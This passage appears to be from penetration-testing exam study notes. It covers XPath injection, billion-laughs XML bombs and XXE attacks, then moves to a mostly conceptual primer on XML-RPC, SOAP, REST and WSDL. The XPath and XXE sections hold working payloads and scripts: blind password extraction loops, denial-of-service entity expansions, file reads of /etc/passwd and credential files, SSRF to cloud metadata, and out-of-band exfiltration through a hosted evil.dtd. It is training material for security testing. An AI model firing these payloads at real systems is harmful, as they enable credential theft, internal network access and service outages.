# Dump the whole document (XPath has no per-node access control)
' or 1=1] | //* | //foo['

Blind XPath extraction uses string-length(), substring(), count() and name() as boolean oracles:

# 1. Count the nodes
' or count(//user)=3 or ''='
' or count(//user[1]/child::node())=4 or ''='
# 2. Discover element names one character at a time
' or substring(name(//user[1]/child::node()[1]),1,1)='u' or ''='
# 3. Length of a target value
' or string-length(//user[position()=1]/password)=8 or ''='
' or string-length(//user[1]/password/text())>5 or ''='
# 4. Extract the value character by character
' or substring(//user[position()=1]/password,1,1)='a' or ''='
' or substring(//user[1]/password/text(),2,1)='d' or ''='
# 5. Narrow faster with an ordinal comparison instead of equality
' or string-to-codepoints(substring(//user[1]/password,1,1))>100 or ''='
# 6. Target a known account
' or //user[username/text()='admin' and substring(password/text(),1,1)='5'] or ''='
# Automate the oracle loop (Burp Intruder cluster-bomb over position x character)
for i in $(seq 1 32); do for c in {a..z} {0..9}; do
  curl -s "http://target/login" --data-urlencode "user=' or substring(//user[1]/password,$i,1)='$c' or ''='" \
    --data "pass=x" | grep -q "Welcome" && echo -n "$c"
done; done

4.9.6 XML bomb / billion laughs

A denial-of-service, not a data-theft technique: nested internal entities expand exponentially and exhaust memory or CPU in the parser. Never fire this at an exam lab or a client system — it takes the target down and can cost you the rest of the exam. Know the shape, report the missing entity-expansion limits, and move on.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- Safe proof-of-concept alternative: a SINGLE level of expansion. It demonstrates that
     internal entity expansion is enabled without consuming any meaningful resources. -->
<!DOCTYPE t [ <!ENTITY a "AAAAAAAAAA"> <!ENTITY b "&a;&a;&a;"> ]>
<t>&b;</t>
<!-- Quadratic blowup variant (one entity, referenced many times) - also DoS, also off-limits -->
<!DOCTYPE t [ <!ENTITY a "AAAAAAAAAA...10kB..."> ]>
<t>&a;&a;&a;&a;&a; ...repeated thousands of times... </t>
<!-- External-entity DoS: point at an endless stream instead of a file -->
<!DOCTYPE t [ <!ENTITY e SYSTEM "file:///dev/random"> ]>
<t>&e;</t>

4.9.7 Exam tips

  • Fuzz with & first. One character, unambiguous error, works on any XML-backed field. Then ', ", <, ]]>.
  • The error tells you which field is XML-backed — in the lab, name was clean and username was vulnerable. Test every field independently.
  • Recover the document structure before writing a tag-injection payload. Look in the page source, the JS that builds the request (WSRegister, an "old"/deprecated function left behind), a .wsdl/.xsd, or the verbose parse error itself.
  • Tag injection means: close what is open, inject a complete element, and leave one tag open so the application's own closing tag balances it. Count your tags.
  • XPath has no comment syntax — -- and # do nothing. Every payload must end by re-balancing the quote, which is why ' or 1=1 or ''=' is the safest generic form.
  • XPath has no access control: a single successful injection can read the entire document, not just "your" node.
  • Never run a billion-laughs payload on a lab or client system.

4.10 XXE — XML External Entity Injection

4.10.1 Concept

XXE is the most dangerous subtype of XML injection: you instruct the XML parser to load an externally defined entity, so the parser — running with the application's privileges on the server — fetches a resource and inlines its content into the parsed document. Impact ranges from arbitrary local file read to SSRF against internal services, out-of-band exfiltration and, on some stacks, remote code execution.

The vulnerability exists because a default-configured parser resolves SYSTEM/PUBLIC entities. The fix is one line (disable DTDs/external entities); the flaw is entirely in parser configuration, not in the XML itself.

Where to look: any request whose body is XML, any Content-Type of text/xml, application/xml, application/soap+xml; any file upload of an XML-derived format; any endpoint that imports a "config", "feed", "sitemap" or "data source" from a URL.

Decision tree:

Is the parsed value reflected in the response?
 |-- YES -> classic in-band XXE (§4.10.2)
 |-- NO  -> Does the server make outbound requests?
      |-- YES -> blind/OOB XXE with an external parameter entity + evil.dtd (§4.10.5)
      |-- NO  -> Do parser errors surface in the response?
           |-- YES -> error-based XXE (§4.10.6)
           |-- NO  -> confirm reachability only (timing/internal port scan, §4.10.4)
Is the DOCTYPE stripped or the document fixed?
 |-- YES -> XInclude (§4.10.8)

4.10.2 Classic in-band file read

<!-- Linux: read /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
<!-- Windows: win.ini is the standard harmless proof file -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]>
<foo>&xxe;</foo>
<!-- Inject into an EXISTING document: keep the app's schema, add the DOCTYPE, and
     replace the value of a field that is echoed back (search terms, names, IDs). -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

High-value files once you have read access:

# Linux
/etc/passwd  /etc/hostname  /etc/hosts  /etc/shadow  /etc/issue
/proc/self/environ  /proc/self/cmdline  /proc/self/cwd/  /proc/net/tcp
~/.ssh/id_rsa  ~/.bash_history  /var/log/apache2/access.log
# App config (adjust to the stack you fingerprinted)
/var/www/html/config.php  /var/www/html/wp-config.php  .env
WEB-INF/web.xml  application.properties  appsettings.json
# Windows
C:/Windows/win.ini  C:/Windows/System32/drivers/etc/hosts
C:/inetpub/wwwroot/web.config  C:/Windows/System32/config/SAM (locked)

4.10.3 PHP wrapper base64 exfiltration

Plain file:// fails when the target file contains XML metacharacters (<, &) or is binary — the parser chokes on the inlined content. On PHP, the php://filter wrapper base64-encodes the file first, producing a string that is always safe to inline.

<!-- Base64-encode the target file so the parser never sees < or & -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>
<!-- Read PHP source code (impossible with plain file:// - the parser breaks on <?php) -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<foo>&xxe;</foo>
<!-- Chained filters; useful against naive keyword filters on "base64" -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>
# Decode the result
echo 'cm9vdDp4OjA6MDpyb290...' | base64 -d

Other wrappers and schemes worth trying by platform:

SchemePlatformUse
file://alllocal file read
php://filter/...PHPbase64-encode to survive the parser
http:// https://allSSRF / OOB fetch
ftp://allOOB where HTTP is filtered; simpler protocol survives some parsers
netdoc://Javaalias for file://, bypasses file: keyword filters
jar:file:///path!/entryJavaread a file inside an archive; can hold a temp file open
expect://idPHP + expect extcommand execution (rare)
gopher://Java (no redirect)craft arbitrary TCP payloads
data://PHPinline content

4.10.4 SSRF via XXE

The parser performs the fetch, so the entity URI is a full SSRF primitive from inside the network perimeter.

<!-- Reach an internal-only service -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.10:8080/admin"> ]>
<foo>&xxe;</foo>
<!-- Cloud metadata (AWS IMDSv1) -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<foo>&xxe;</foo>
<!-- Follow the path down to credentials -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
<!-- GCP / Azure equivalents -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/"> ]>
<foo>&xxe;</foo>
<!-- Internal port scan: distinguish open/closed/filtered by response time and error text -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:22/"> ]>
<foo>&xxe;</foo>
# Scripted port sweep through the XXE (the oracle is the error/time difference)
for p in 22 80 443 3306 5432 6379 8080 8983 9200 27017; do
  echo -n "$p: "
  curl -s -o /dev/null -w "%{time_total}\n" -X POST http://target/api \
    -H 'Content-Type: application/xml' \
    --data "<?xml version=\"1.0\"?><!DOCTYPE f [<!ENTITY x SYSTEM \"http://127.0.0.1:$p/\">]><f>&x;</f>"
done

4.10.5 Blind / out-of-band XXE with an external parameter entity

When nothing is reflected, you need the parser to send the data to you. This requires:

  1. A parameter entity (%), because general entities (&) cannot be used in a DTD to build another entity declaration.
  2. An external DTD hosted by you, because most parsers forbid referencing a parameter entity inside an internal subset's markup declaration.
  3. A nested entity (%eval;) that constructs the exfiltration entity, with % written as &#x25; so it is expanded at the right moment.
# Step 1 - host the payload DTD and watch for callbacks
mkdir -p /tmp/x && cd /tmp/x
sudo python3 -m http.server 80
# or: interactsh-client -v   (gives a domain that logs DNS + HTTP)
<!-- Step 2 - evil.dtd on YOUR server (10.10.14.5) -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.10.14.5/?d=%file;'>">
%eval;
%exfil;
<!-- Step 3 - the request sent to the target -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://10.10.14.5/evil.dtd">
  %xxe;
]>
<foo>bar</foo>
# Step 4 - read the base64 blob out of your web server log, then decode it
10.10.10.20 - - [.....] "GET /?d=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo... HTTP/1.1" 200
<!-- Minimal OOB confirmation (no exfiltration): does the parser fetch external entities at all?
     Send this first - if the callback never arrives, stop building the full chain. -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.5/probe"> %xxe; ]>
<foo>bar</foo>
<!-- DNS-only confirmation, for when HTTP egress is blocked but DNS resolves -->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://probe.abc123.oast.pro/x"> %xxe; ]>
<foo>bar</foo>
<!-- Variant: general external entity in the body (works when only the body is reflected-free
     but the parser still fetches) -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.10.14.5/probe"> ]>
<foo>&xxe;</foo>
<!-- FTP exfiltration: survives files containing newlines that break an HTTP query string,
     and slips past some HTTP-only egress filters. Run a listener on 2121. -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://10.10.14.5:2121/%file;'>">
%eval;
%exfil;

Note: a raw file inlined into an HTTP query string breaks on newlines and &. Always base64-encode with php://filter when the target is PHP, or exfiltrate a single-line file (/etc/hostname) as a proof and use the error-based channel for multi-line content.

4.10.6 Error-based XXE

When there is no outbound network path but parser errors are rendered, make the parser fail on a path that contains the data you want. The failure message quotes the path, leaking the file contents.

<!-- evil.dtd on your server: build an entity pointing at a nonexistent path that
     embeds the target file's contents; the resulting error echoes them back -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%err;
<!-- Request -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://10.10.14.5/evil.dtd">
  %xxe;
]>
<foo>bar</foo>
# Response leaks the file inside the exception message
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... (No such file or directory)
<!-- Fully local error-based variant: reuse a DTD file that already exists on the target
     and redefine one of its parameter entities. No outbound connection needed at all.
     (/usr/share/xml/fontconfig/fonts.dtd is a common Linux candidate.) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
  <!ENTITY % expr 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err SYSTEM &#x27;file:///nonexist/&#x25;file;&#x27;>">
    &#x25;eval; &#x25;err;
    <!ELEMENT aa (bb'>
  %local_dtd;
]>
<foo>bar</foo>

4.10.7 XXE in file uploads

Any upload that is XML underneath is an XXE vector, and uploads are often parsed by a different, less-hardened component than the main API.

<!-- SVG: the classic. Upload as an avatar/profile image; the rendered SVG shows the file. -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="500" height="200" xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="40" font-size="16">&xxe;</text>
</svg>
<!-- SVG blind/OOB variant when the image is stored but never rendered back to you -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY % xxe SYSTEM "http://10.10.14.5/evil.dtd"> %xxe; ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>x</text></svg>
# DOCX / XLSX / PPTX: an OOXML file is a ZIP of XML parts. Inject into any part,
# rezip, upload to a converter/preview/import feature.
mkdir work && cd work
unzip ../clean.docx                       # extract the parts
#   edit  word/document.xml   (or [Content_Types].xml, docProps/core.xml)
#   prepend the DOCTYPE right after the <?xml ...?> declaration and reference &xxe;
zip -r ../evil.docx .                     # rezip preserving the structure
<!-- The line to prepend inside word/document.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE w:document [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<!-- ...then place &xxe; inside a <w:t> text run so it appears in the converted output -->
<!-- SOAP: inject the DOCTYPE above the Envelope -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser><id>&xxe;</id></getUser>
  </soap:Body>
</soap:Envelope>
# Other XML-backed upload/import formats worth testing
.svg  .xml  .xsl  .xslt  .docx .xlsx .pptx  .odt .ods  .rss .atom
.xsd  .wsdl  .kml  .gpx  .plist  .dtd  SAMLResponse (base64 XML)  .pdf (XFA/XMP)
# XML import that accepts a URL rather than a file: the "data source" pattern.
# Apache Solr's DataImportHandler (CVE-2019-0193, Solr 1.3-8.2) fetches a remote
# XML document named in dataConfig; a URLDataSource + XPathEntityProcessor pointed at
# an attacker-hosted XML is a documented external-entity/remote-config abuse path.
# Fingerprint first:
nmap -sV -p- --min-rate 2000 <target>        # Solr commonly on 8983
curl -s http://target:8983/solr/admin/info/system?wt=json | grep -i version

4.10.8 XInclude — when you cannot control the DOCTYPE

If the application embeds your input into a server-side XML document (so you never supply the <?xml?>/DOCTYPE), or a filter strips the DOCTYPE, use XInclude: it is an element, not a DTD construct, so it needs no DOCTYPE at all. It works when the parser has XInclude processing enabled.

<!-- Inject this as the value of a single parameter that is placed into server-side XML -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- Minimal form for a single field (no wrapper element available) -->
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>
<!-- Base64 through the PHP wrapper, for files containing XML metacharacters -->
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text"
            href="php://filter/convert.base64-encode/resource=/etc/passwd"/>
<!-- SSRF via XInclude -->
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text"
            href="http://169.254.169.254/latest/meta-data/"/>
<!-- Graceful degradation so the document still parses if the include fails -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd">
    <xi:fallback>nope</xi:fallback>
  </xi:include>
</foo>

Note parse="text" — the default is parse="xml", which requires the included resource to be well-formed XML and will fail on /etc/passwd.

4.10.9 When entities are partially filtered

FilterBypass
SYSTEM keyword blockeduse PUBLIC: <!ENTITY xxe PUBLIC "-//A//B//EN" "file:///etc/passwd">
<!DOCTYPE / <!ENTITY blocked (byte match)re-encode the whole document as UTF-16 or UTF-7 so the ASCII signature disappears
<!DOCTYPE stripped entirelyXInclude (§4.10.8) — no DOCTYPE required
file: blockedJava: netdoc:///etc/passwd, jar:file:///etc/passwd!/; PHP: php://filter/...
http:// blockedftp://, gopher:// (Java), or DNS-only confirmation
Case-sensitive keyword filter<!doctype, <!eNtItY — XML keywords are case-sensitive, so this usually fails; try the encoding bypass instead
Internal subset blocked, external DTD allowedput everything in the hosted evil.dtd and reference it with one parameter entity
Parameter entity % filteredencode as &#x25; inside a nested entity value (this is already required for %eval;)
WAF on the literal string /etc/passwd/etc/./passwd, /etc//passwd, ////etc/passwd, file:///etc/passwd vs file:/etc/passwd
Response strips output but server has egressblind OOB (§4.10.5)
No egress, errors shownerror-based (§4.10.6) or the local-DTD reuse trick
Only JSON acceptedflip Content-Type to application/xml and resend the body as XML — many frameworks content-negotiate
# UTF-16 encoding bypass for DOCTYPE byte-signature filters
python3 -c "open('x.xml','wb').write(open('payload.xml','rb').read().decode().encode('utf-16'))"
curl -X POST http://target/api -H 'Content-Type: application/xml' --data-binary @x.xml
<!-- PUBLIC-identifier form, for filters that only blocklist SYSTEM -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe PUBLIC "-//W3C//TEXT copyright//EN" "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
# JSON -> XML content-negotiation flip
curl -X POST http://target/api/user -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><root><name>&x;</name></root>'

4.10.10 Tooling

# Burp: Scanner flags XXE automatically; Collaborator supplies the OOB endpoint.
# Extensions worth loading: "Content Type Converter" (JSON<->XML flip in one click),
# "XXE Scanner", "Taborator".
# XXEinjector - automated file/directory enumeration over blind XXE
git clone https://github.com/enjoiz/XXEinjector.git
ruby XXEinjector.rb --host=10.10.14.5 --httpport=80 --file=req.txt --path=/etc --oob=http --phpfilter
# oxml_xxe - builds XXE-laced DOCX/XLSX/PPTX/ODT/SVG/PDF files for you
git clone https://github.com/BuffaloWill/oxml_xxe.git
# docem - injects payloads into every XML part of an OOXML/ODF document
python3 docem.py -s payload.txt -d clean.docx -o out/

4.10.11 Exam tips

  • Confirm before you build. Send the one-line OOB probe (%xxe; → your listener) first. If no callback arrives, there is no egress and the whole blind chain is wasted effort — pivot to error-based.
  • Reflected output → classic. No output + egress → OOB parameter entity. No output + no egress + errors → error-based. No DOCTYPE allowed → XInclude.
  • & for general entities, % for parameter entities, &#x25; for the % you need inside a nested entity value. Getting this wrong is why most blind XXE attempts silently fail.
  • Use php://filter base64 by default on PHP targets. Plain file:// on any file containing < or & breaks the parse and looks like "not vulnerable".
  • Prove file read with a boring file (/etc/hostname, win.ini) before going after anything sensitive — single-line output survives every channel.
  • A JSON API is still worth testing: flip the Content-Type to application/xml and rewrite the body.
  • File uploads are the most-missed XXE surface. SVG first, then DOCX/XLSX; the upload parser is rarely the hardened one.
  • The hard part of XXE is rarely the entity — it is coaxing the application into showing you the result. If the injection clearly executes but nothing comes back, look for a second page that renders the stored value (the second-order pattern from §4.3), an export/preview feature, or an error channel.
  • Document the exact request and the exact response excerpt as your PoC; "parser fetched my DTD" plus a timestamped listener log is a complete finding even when no file content was retrieved.

5. API & Web Service Penetration Testing

Exam framing: an API target is still a web target. Nothing about SQLi, command injection, IDOR or broken auth changes — only the transport (XML/JSON body instead of a form), the documentation (WSDL/Swagger instead of HTML links) and the absence of a UI change. The entire discipline reduces to four questions, in this order:

  1. Where is the endpoint? (discovery)
  2. What can it do? (WSDL / Swagger / operation & route enumeration, including undocumented ones)
  3. Do I have to be someone to do it? (authentication and authorization)
  4. What does it do with my input? (injection, logic, mass assignment)

Work them top-to-bottom. Most exam points are in steps 2 and 4, because developers who write machine-to-machine interfaces routinely skip the input validation they would never skip on a form.


5.1 Web Services, APIs and Web Applications

Web services are software components designed to facilitate communication and data exchange between different applications or systems over the internet. They exist because two computers had no standardised way to talk to each other without a human in the loop. A web application (e.g. WordPress) is built for a human: it has a UI, and a button click is meaningful to a person. Another server cannot "click a button" — it can only issue a request. A web service is the machine-readable face of that same functionality.

API = Application Programming Interface: a set of rules that provides access to the functionality or data of an application or service, for developers to consume in their own applications.

Two canonical reasons web services exist:

PurposeExample
Integration between applicationsApplication A uses features that are only implemented in application B (bank portal ↔ QuickBooks)
Separation within an applicationFront-end scripts call web-service functionality to dynamically update content; sensitive processing (financial transactions, OTP generation) is split into a service behind the web tier

Web service vs web application

AspectWeb serviceWeb application
Primary purposeFacilitate data exchange between applicationsProvide services / perform tasks directly for end users
User interactionNo UI; machine-to-machineUser-friendly interface for human interaction
Data exchangeStructured data exchanged between applicationsUser input → processing → result presentation
Communication protocolSOAP, REST, XML-RPC, JSON-RPCHTTP/HTTPS
Security focusSecuring data in transit + access control to the endpointBroad: authN, authZ, data validation, web vulnerability classes
ExamplesPayPal API, weather data servicesOnline banking, e-commerce, blogs, webmail, social networks

Web service vs API

AspectWeb serviceAPI
PurposeFacilitate data exchange between software systems (machine-to-machine)Provide access to functionality/data of an application for developers
Communication protocolsSOAP, REST, XML-RPC, JSON-RPC and moreVarious protocols; often associated with REST
Data formatsXML, JSONJSON, XML, custom formats
InterfaceNo UI for direct human interactionNo UI, but used by developers to build applications that have UIs
ScopeA subset of APIs, specifically web-based machine-to-machine data exchangeBroader concept covering all interfaces for software interaction
StandardsWS-Security, WS-Policy (SOAP-based)OpenAPI (formerly Swagger) for documenting RESTful APIs

The line: you configure a web service so two systems can talk with no human involved; you expose an API so developers can consume a slice of your application's functionality. Every web service is an API; not every API is a web service. The terms are used interchangeably in the field — and on the exam — so do not lose time on the distinction; identify the implementation (SOAP/REST/GraphQL) instead, because that dictates your attack syntax.

Key characteristics of web services

CharacteristicMeaningOffensive relevance
InteroperabilityStandardised communication via open standards (HTTP, XML, SOAP, REST, JSON)The standard is documented → you can read and forge traffic
Platform agnosticNot tied to an OS or languageSame payloads work regardless of backend stack
Loose couplingChanges in one system do not break the otherEndpoints often outlive the UI that called them → stale/forgotten endpoints
Location independentRuns over the internet or LAN, hosted anywhereEndpoint may be on a different host/port than the web app (very common in labs: UI :5000, API :8080)

Critical insight for testing: because the interface is machine-readable (XML/JSON), it is also human-readable. Web services are not obfuscated and do not speak binary. Anything two machines can understand, you can understand, forge and replay.

Exam tips

  • First thing to try: proxy the web app through Burp, click every button, and look at the Host and port of the outbound requests. A different port (8080, 1337, 3000, 5000) on the same host is the API — that is your real target, not the UI.
  • Common trap: testing only through the UI. The UI enforces client-side constraints (max amount, item price, role dropdown) that the API does not. Always move the request to Repeater/curl.
  • What proves the finding: a raw request sent directly to the API host:port, with no browser involved, returning the privileged/anomalous response.

5.2 Web Service Implementations & API Architectures

"Implementation" = the protocol/framework used to build the web service. Four generations matter.

5.2.1 XML-RPC

Extensible Markup Language – Remote Procedure Call. Created 1998. A protocol and set of conventions for encoding/decoding data in XML and using it for remote procedure calls. Simple, lightweight, precursor to SOAP and REST. Works by sending an HTTP request that calls a single method implemented on the remote system. Data types and method calls are represented with XML tags — human and machine readable.

Mandatory structure: a <methodCall> element containing a <methodName> child.

<!-- XML-RPC request: methodCall > methodName + params -->
POST /RPC2 HTTP/1.1
Host: target.site
User-Agent: MyClient/1.0
Content-Type: text/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
  <methodName>myMethod</methodName>
  <params>
    <param><value><string>google.com</string></value></param>
  </params>
</methodCall>
<!-- XML-RPC response: note the tag changes to methodResponse -->
<?xml version="1.0"?>
<methodResponse>
  <params>
    <param><value><string>Hello World</string></value></param>
  </params>
</methodResponse>

Legacy target worth remembering: WordPress xmlrpc.php. It was a web service (machine-to-machine), not an API, which is why WordPress has since moved to a REST API. Because it accepts many method calls in one request and is usually not rate-limited, tools such as wpscan use it to make password brute-forcing dramatically faster than hammering wp-login.php.

# XML-RPC on WordPress: list available methods (classic recon check)
curl -s -X POST http://target/xmlrpc.php -d '<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

5.2.2 JSON-RPC

Remote procedure call protocol encoded in JSON. Same idea as XML-RPC but smaller payloads and far more readable. A request is a single object serialised using JSON with three properties:

PropertyMeaning
methodName of the method to invoke
paramsArray of objects to pass as arguments
idRequest ID used to match responses to requests
// JSON-RPC request body - three properties: method, params, id
POST /api HTTP/1.1
Host: target.site
Content-Type: application/json

{"method":"authenticate","params":["admin","password123"],"id":1}

5.2.3 SOAP

Simple Object Access Protocol. A protocol for exchanging structured information in the implementation of web services; defines rules and conventions for structuring messages, defining RPCs and handling communication over a network. SOAP messages are XML. It is the natural successor to XML-RPC and is known for strong typing and an extensive feature set including security (WS-Security), reliability and transaction support. SOAP services typically publish a WSDL declaration describing how they may be used.

POST /webservices/soap/ws-user-account.php HTTP/1.1
Host: demo.ine.local
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:ws-user-account#getUser"
Content-Length: 512

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:getUser xmlns:ns1="urn:ws-user-account">
      <username xsi:type="xsd:string">Jeremy</username>
    </ns1:getUser>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

SOAP message anatomy, outer to inner:

ElementRole
<Envelope>Root of every SOAP message; declares the SOAP namespace
<Header>Optional. Carries metadata: auth tokens, WS-Security, transaction IDs, routing
<Body>Mandatory. Contains the operation element and its parameters
<Fault>Inside Body on error. Carries faultcode, faultstring, detail — the most information-rich element on the target

5.2.4 REST

Representational State Transfer. Not a protocol or technology — an architectural style: a set of principles and constraints for designing networked applications. Uses HTTP as its communication protocol; scalable, stateless, easy to maintain. Generally uses JSON or XML, but any transport format (even plaintext) is possible.

REST maps HTTP verbs onto CRUD against a resource URI:

MethodActionExample endpoint
GETRetrieve a resource, or list a collection of recordshttp://ws.site/book (all books) / http://ws.site/book/1 (one book)
POSTCreate a new resource or recordhttp://ws.site/book
PUTChange the state of a resource, replace it, or create it if it does not existhttp://ws.site/book/1
PATCHPartially update a resourcehttp://ws.site/book/1
DELETEDelete a resource or recordhttp://ws.site/book/1

Conclusion that matters offensively: nothing changes fundamentally. The same SQL injection payload you used in a web application still applies here. Your job remains finding inputs that are not sanitised. Web-service developers historically skipped protection mechanisms because they never expected an attacker to speak the protocol.

5.2.5 Comparison — SOAP vs REST vs GraphQL vs gRPC

SOAPRESTGraphQLgRPC
TypeProtocol (strict)Architectural styleQuery language + runtimeRPC framework
TransportHTTP, SMTP, TCP, JMSHTTP/HTTPS only (in practice)HTTP/HTTPS (usually one POST endpoint)HTTP/2
Message formatXML onlyJSON, XML, plaintext, formJSON (query in POST body)Protocol Buffers (binary)
Contract/schemaWSDL (mandatory in practice)OpenAPI/Swagger (optional)SDL schema, exposed via introspection.proto files, server reflection
EndpointsOne endpoint, many operationsMany URIs, HTTP verbsUsually one URI (/graphql)One URI per service/method
StateStateful capable (WS-*)StatelessStatelessStateless (streaming supported)
Built-in securityWS-Security, WS-PolicyTLS + app-layer tokensTLS + app-layer tokensTLS + app-layer tokens
Error signallingSOAP <Fault>HTTP status codesHTTP 200 + errors[] arraygRPC status codes
Recon entry point?wsdl, ?disco, UDDI/swagger.json, /api-docs, brute forceintrospection query, __schemareflection, leaked .proto
Typical weaknessHidden operations, XXE, XML injection, no input validationBOLA/IDOR, mass assignment, verb tamperingIntrospection on, batching, depth/alias abuseMissing authZ per method, reflection enabled
VerdictHeavy, legacy, still common in finance/governmentDominantGrowing; over-fetch by designInternal microservices

Exam tips

  • First thing to try: look at the Content-Type and the body shape. text/xml + <Envelope> = SOAP → go hunt the WSDL. application/json + REST-shaped URI = go hunt Swagger. A single /graphql POST = go run introspection.
  • Common trap: assuming a 200 OK means success. GraphQL returns 200 with an errors array; SOAP returns 200 with a <Fault>. Read the body, not the status line.
  • What proves the finding: the raw request/response pair in the correct protocol syntax, showing the server processed your forged message.

5.3 WSDL — Structure and How to Read One

A web service is characterised by:

  1. One or more methods, each reflecting a service provided by the server/application (think: functionality).
  2. A protocol, which defines (a) the structure of each message used to request a service, (b) the structure of the message sent by the web service in the response, and (c) the transport method used to transmit the messages.

WSDL = Web Services Description Language: an XML-based language used to describe the functionality and interface of a web service. A WSDL document is a contract between the service provider and consumers, specifying how the service can be used: the operations, their input parameters, and the expected responses. It tells a client how to construct SOAP requests.

Offensive value: if you find the WSDL, you do not have to guess how the service works. It gives you the full list of operations and types allowed by the server, the correct syntax to use, the inputs, the outputs, and the fault messages — everything needed to build working attack requests.

